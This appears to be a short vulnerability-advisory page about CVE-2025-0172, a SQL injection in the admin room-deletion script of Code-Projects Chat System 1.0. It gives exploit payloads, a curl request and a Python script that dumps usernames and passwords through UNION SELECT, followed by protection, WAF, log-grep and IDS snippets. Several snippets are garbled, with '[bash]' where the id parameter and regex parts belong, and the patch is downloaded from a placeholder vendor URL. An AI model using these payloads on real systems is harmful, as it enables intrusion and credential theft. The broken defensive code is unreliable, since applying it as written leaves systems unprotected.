Code-Projects Chat System 10, SQL Injection, CVE-2025-0172 (Critical)

How the CVE Works

CVE-2025-0172 is a critical SQL injection vulnerability in Code-Projects Chat System 1.0, specifically in the `/admin/deleteroom.php` file. The flaw occurs due to improper sanitization of the `id` parameter, allowing attackers to inject malicious SQL queries. When an attacker sends a crafted HTTP request with a manipulated `id` value, the backend database executes unintended commands. This can lead to unauthorized data access, modification, or deletion. The vulnerability is remotely exploitable with low attack complexity, requiring only a low-privileged account.

DailyCVE Form

Platform: Code-Projects Chat System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 04/03/2025

What Undercode Say:

Exploitation

1. Craft SQL Payload:

id=1' OR 1=1--

2. Send Malicious Request:

curl -X GET "http://target.com/admin/deleteroom.php?id=1' OR 1=1--"

3. Automated Exploit (Python):

import requests
target = "http://target.com/admin/deleteroom.php"
payload = "1' UNION SELECT username, password FROM users--"
response = requests.get(f"{target}?id={payload}")
print(response.text)

Protection

1. Input Sanitization:

$id = mysqli_real_escape_string($conn, $_GET[bash]);

2. Prepared Statements:

$stmt = $conn->prepare("DELETE FROM rooms WHERE id = ?");
$stmt->bind_param("i", $_GET[bash]);
$stmt->execute();

3. WAF Rules:

location /admin/ {
if ($args ~ "union|select|--") {
return 403;
}
}

Detection

1. Log Analysis:

grep "deleteroom.php?id=.[bash]" /var/log/apache2/access.log

2. IDS Signature:

alert http any any -> $HOME_NET any (msg:"SQLi Attempt"; content:"/deleteroom.php?id="; pcre:"/[bash].union|select/i"; sid:10001;)

Mitigation

1. Patch Upgrade:

wget https://vendor.com/patch/CVE-2025-0172-fix.zip
unzip CVE-2025-0172-fix.zip -d /var/www/html/

2. Database Hardening:

REVOKE DELETE ON rooms FROM 'chat_user'@'%';

References

References:

Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-0172
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top